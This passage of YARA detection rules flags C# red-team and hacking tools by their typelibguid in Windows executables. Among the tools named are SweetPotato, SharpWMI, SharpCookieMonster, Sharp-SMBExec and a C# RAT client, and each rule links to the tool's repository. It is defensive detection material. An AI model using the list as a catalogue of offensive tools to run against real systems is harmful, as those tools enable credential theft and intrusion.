		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "616c1afb-2944-42ed-9951-bf435cadb600" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Rundotnetdll32 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "266c8add-d2ca-5e46-8594-5d190447d133"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/0xbadjuju/rundotnetdll32"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2934-L2947"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d0a0fa8604eaca14e2fc8545c5b008d26ef1a09f3d792b62549d76fb2d5155d1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a766db28-94b6-4ed1-aef9-5200bbdd8ca7" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Antidebug : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f381081b-d0cb-593d-ad3d-28816f770b67"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/malcomvetter/AntiDebug"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2949-L2962"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b665c72e191cc42307f6eecbf0a9ea9238da886e8d5d73b2d569cda2dabe2b1a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "997265c1-1342-4d44-aded-67964a32f859" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dinvisibleregistry : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "98409bbe-6346-5825-b7f7-c1afeac2b038"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/NVISO-BE/DInvisibleRegistry"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2964-L2977"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7703b24ca72770547d76ebfb8b94b5d13d9d7fa1c65cc8e2ffbf8eca30c1f8d0"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "31d576fb-9fb9-455e-ab02-c78981634c65" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Tikitorch : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "354ee690-a0d0-5cc5-a73b-53b916ed0169"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/rasta-mouse/TikiTorch"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2979-L2998"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "394b4e7ecb7333e7d0944690276de6d942dfa949ba04d28d5576da639a5489bc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "806c6c72-4adc-43d9-b028-6872fa48d334" ascii wide
		$typelibguid1lo = "2ef9d8f7-6b77-4b75-822b-6a53a922c30f" ascii wide
		$typelibguid2lo = "8f5f3a95-f05c-4dce-8bc3-d0a0d4153db6" ascii wide
		$typelibguid3lo = "1f707405-9708-4a34-a809-2c62b84d4f0a" ascii wide
		$typelibguid4lo = "97421325-b6d8-49e5-adf0-e2126abc17ee" ascii wide
		$typelibguid5lo = "06c247da-e2e1-47f3-bc3c-da0838a6df1f" ascii wide
		$typelibguid6lo = "fc700ac6-5182-421f-8853-0ad18cdbeb39" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Hivejack : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "10567ef4-780f-5e93-9061-3214116d6bbb"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/Viralmaniar/HiveJack"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3000-L3013"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "46eb7b01deb14eb7a9e1b59f04844b442a47a5c3545fa9925448349ef50e317e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e12e62fe-bea3-4989-bf04-6f76028623e3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Decryptautologon : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3ef58da9-16c1-54cf-9d06-a05680548cf5"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/securesean/DecryptAutoLogon"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3015-L3028"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "122f265f812e81aef554c1907c8397ac4ad03ff85f53254806abe36049c9b746"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "015a37fc-53d0-499b-bffe-ab88c5086040" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Unstoppableservice : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8c65fbee-d779-57a8-851b-7583be66c67a"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/malcomvetter/UnstoppableService"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3030-L3043"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ad88047730485852c1d051f168b762da18a85242acf0850204dd5fc86b313390"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "0c117ee5-2a21-dead-beef-8cc7f0caaa86" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwmi_2 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e6ab2f5e-2a5a-5be9-9b66-96cb745fd199"
		date = "2020-12-28"
		modified = "2025-08-15"
		old_rule_name = "HKTL_NET_GUID_SharpWMI"
		reference = "https://github.com/GhostPack/SharpWMI"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3045-L3059"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "968eddc046e0629fed50d77c3b6c55a6d88d4fa68f05bab77f4b43bea6ad62fc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Ewstoolkit : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "acde7744-d17f-5e47-a5e2-ff4f4c4d8093"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/rasta-mouse/EWSToolkit"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3061-L3074"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d8e10bc2bc8dc0b526f919eed141660555334b97f528d3a74c5b91db05394fad"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ca536d67-53c9-43b5-8bc8-9a05fdc567ed" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sweetpotato : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0e347d94-51eb-5589-93d8-b19fec7f2365"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/CCob/SweetPotato"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3076-L3090"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "36430e0c2874aed1d86e061f9413c16bbb4527d0d04dfb8993214920083cc30a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "6aeb5004-6093-4c23-aeae-911d64cacc58" ascii wide
		$typelibguid1lo = "1bf9c10f-6f89-4520-9d2e-aaf17d17ba5e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Memscan : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "35175fe1-a583-50d1-8b0c-71f19b898817"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/nccgroup/memscan"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3092-L3105"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9885512853fc46cc680b70ab26b40d4e51393b1f0b744565d4a4aa063cb78440"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "79462f87-8418-4834-9356-8c11e44ce189" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpstay : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e5bde5a9-8e09-59ce-ad01-e29836813cf8"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/0xthirteen/SharpStay"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3107-L3120"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "91fe0fd4bea7678df8bdb0948a0952e01b6588e07836d535f5aaa3700294d838"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "2963c954-7b1e-47f5-b4fa-2fc1f0d56aea" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharplocker : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "9525422a-d670-5475-abdc-b7ecd1ab9943"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/Pickfordmatt/SharpLocker"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3122-L3135"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "030b7a87042ce70c9de6031d0e03f07e508563f4ca2da4d6dc80e87f8bf483de"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a6f8500f-68bc-4efc-962a-6c6e68d893af" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sauroneye : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3b624dde-a63e-58ac-a4db-af931f1d8553"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/vivami/SauronEye"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3137-L3151"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "feeda6aec173cb13209559dc3a156bdc3d4be6e14cbe52ffb2e1bb7bf652441a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "0f43043d-8957-4ade-a0f4-25c1122e8118" ascii wide
		$typelibguid1lo = "086bf0ca-f1e4-4e8f-9040-a8c37a49fa26" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sitrep : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5f2ac63e-4be1-520c-82b1-1957027a63e2"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/mdsecactivebreach/sitrep"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3153-L3166"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "113e3a23c3f8258707f9d0c1baa143b3599e5da10928f275fca908c3a57f76e8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "12963497-988f-46c0-9212-28b4b2b1831b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpclipboard : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "fd1b7786-8853-5858-ab03-da350e44f738"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/slyd0g/SharpClipboard"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3168-L3181"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5070ae56bb7f5df31e915104ce42e18dbf86b93a327c49dabddcfbd141d468ac"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "97484211-4726-4129-86aa-ae01d17690be" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcookiemonster : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "87be6949-f4f5-5a5a-b804-c627ed0f4355"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/m0rv4i/SharpCookieMonster"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3183-L3196"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1aac6d1c4e1d28805ec7e61ee00d105795ce355dce6238981b22b6f7cf9d4e29"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "566c5556-1204-4db9-9dc8-a24091baaa8e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_P0Wnedshell : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "390b94d1-dda9-5a85-80ae-c79a3f7b0b9d"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3198-L3211"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7c6d8dbcd1ff31a9b34c36b4db2867f0b9e3fac98c7039d2a51bfe5a45afcc71"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "2e9b1462-f47c-48ca-9d85-004493892381" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpmove : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e52392f9-614c-596e-8efd-aa0a2fa44e60"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/0xthirteen/SharpMove"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3213-L3226"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4980a9b197479b2514e12b78aa5a3bf9825772f8578d3abd219607e39af7e470"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8bf82bbe-909c-4777-a2fc-ea7c070ff43e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_C_Sharp_R_A_T_Client : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f5df8257-d202-58e3-9c4a-1dfc9dd52f2a"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3228-L3241"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a090996b8453fb41483888f433da57340a6509221439ffd8f17e546424686c55"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "6d9e8852-e86c-4e36-9cb4-b3c3853ed6b8" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpprinter : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "10270351-ad80-5330-971b-bc8f635f05f4"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/rvrsh3ll/SharpPrinter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3243-L3256"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "86eb7194039aa8bb89f77041215a3421bb35acd790aa769156298f30a124e9b3"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "41b2d1e5-4c5d-444c-aa47-629955401ed9" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Evilfoca : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2b2f5f6f-4224-5013-9e85-0ac088826bea"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/ElevenPaths/EvilFOCA"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3258-L3271"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f903e2552bdb75a985065e9b78229b56c8005041cf3a75be355192684582caee"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f26bdb4a-5846-4bec-8f52-3c39d32df495" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Poshc2_Misc : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "245803cb-63d8-5c75-b672-912091cf4a80"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/nettitude/PoshC2_Misc"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3273-L3287"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2ad0da62428f8412c748418b44d943a143191bbe789394ffc7b21658f87c27b9"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "85773eb7-b159-45fe-96cd-11bad51da6de" ascii wide
		$typelibguid1lo = "9d32ad59-4093-420d-b45c-5fff391e990d" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpire : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "32bdaa0f-3afc-5e0e-a20f-e21f33909af7"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/0xbadjuju/Sharpire"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3289-L3302"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c53b3205e58257292e34526ea4fd0e0550bbdcf4039f94d268a313ae28733182"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "39b75120-07fe-4833-a02e-579ff8b68331" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharp_Smbexec : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "6a1024af-734c-5974-af50-db51dbd694ff"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/checkymander/Sharp-SMBExec"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3304-L3317"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d6938d7492904a202e80525ff8f1b95c19bd65b1450f2f7e4271ab01f2e25a50"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Misctools : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ce49cc7b-a5a5-52b7-a7bf-bbb0c5b29b8a"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/rasta-mouse/MiscTools"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3319-L3336"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ffa89aeac49c1652618def1b63506915ec6a364708eb805ef2d9abe710111edf"
